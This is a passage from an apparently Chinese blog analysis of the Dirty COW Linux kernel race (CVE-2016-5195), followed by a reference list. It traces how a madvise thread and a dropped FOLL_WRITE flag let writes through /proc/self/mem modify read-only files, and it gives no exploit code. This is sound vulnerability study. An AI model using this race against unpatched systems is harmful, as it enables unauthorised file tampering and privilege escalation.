但由于第一次去写,页不在内存中并且 pte entry 不是有效的,所以调用了 do_cow_page()函数去处理COW,这时候会将该文件的内容映射到 page cache 中,然后把 page cache 的内容复制到了一个新的匿名页面中。这个新匿名页面的 pte entry 属性是 Dirty | RDONLY。

之后再去尝试 follow_page(),但是不成功,那是因为 FOLL_WRITE 和 pte entry 是 RDONLY,所以再去来一次写错误缺页中断。这回跑到 do_wp_page()里,该函数看到这个页是个匿名页面并且可以复用,那 么尝试修改 pte entry 的 write 属性,但是不成功,因为 vma->flags 只读属性的紧箍咒还在呢。 do_wp_page()返回 VM_FAULT_WRITE 了,在返回途中 faultin_page()把 FOLL_WRITE 给弄丢 了,这是这个问题的关键之一。

返回到__get_user_pages()里要求再来一次 follow_page()。在这次 follow_page()之前,小李飞刀 madvise 线程杀到,把该页给释放了,这是该问题的另外一个关键点。那么 follow_page()必然失败了,这时再造一次缺页中断, 注意这次是只读了,因为 FOLL_WRITE 之前被废了。这样缺页中断重新从文件中读取了 page cache 内容,并且获取了该 page cache 控制权,再往该 page cache 写东西,并且该页设置为 PG_dirty,系统回写机制稍后将完成最终写入了。

如果没有madvise 线程,那么cow生成的只读匿名页面将不会被释放,虽然该匿名页面只读,但是直接使用kmap可以对其进行强制写。虽然可以强制写,但是匿名页面最后的内容最终也不会同步到page cache中,所以也无法达到写只读文件的目的。

简单归纳

正常流程
1
2
3
4
->write /proc/self/mem 写入一块只读内存
->page fault(页不在内存,pte entry无效。之后COW复制到一个匿名内存页)
->page fault(写错误,由于vma_flags只读,do_wp_page尝试将页属性改为可写失败,返回VM_FAULT_WRITE,之后丢掉FOLL_WRITE)
->对COW生成的匿名页进行强制写(即使该匿名页内存只读,通过内核定位可绕过),最终该匿名页被释放,无事发生。
漏洞流程
1
2
3
4
5
->write /proc/self/mem 写入一块只读内存
->page fault(页不在内存,pte entry无效。之后COW复制到一个匿名内存页)
->page fault(写错误,由于vma_flags只读,do_wp_page尝试将页属性改为可写失败,返回VM_FAULT_WRITE,之后丢掉FOLL_WRITE)
->madivse释放了COW生成的匿名页
-> 由于内存释放导致再次follow_page失败,遂再次申请内存,由于FOLL_WRITE被丢掉,导致可以写只读page cache,回写机制导致修改了真实文件。

参考链接

  1. 阿里云笑然师傅漏洞分析报告
  2. 漏洞补丁链接
  3. redhat bug跟踪
  4. clang裁缝店 条件竞争学习 之 DirtyCow分析
  5. qemu+gdb调试linux内核全过程
  6. 虚拟内存维基百科
  7. x86段寄存器和分段机制
  8. “段寄存器”的故事
  9. 段页式内存管理
  10. 看雪 Linux内核[CVE-2016-5195] (dirty COW)原理分析
  11. Atum CVE-2016-5195 DirtyCow:Linux内核提权漏洞分析
  12. 奔跑吧-Linux内核
  13. 从内核角度分析Dirty Cow原理
  14. Linux Internals: How /proc/self/mem writes to unwritable memory
 Comments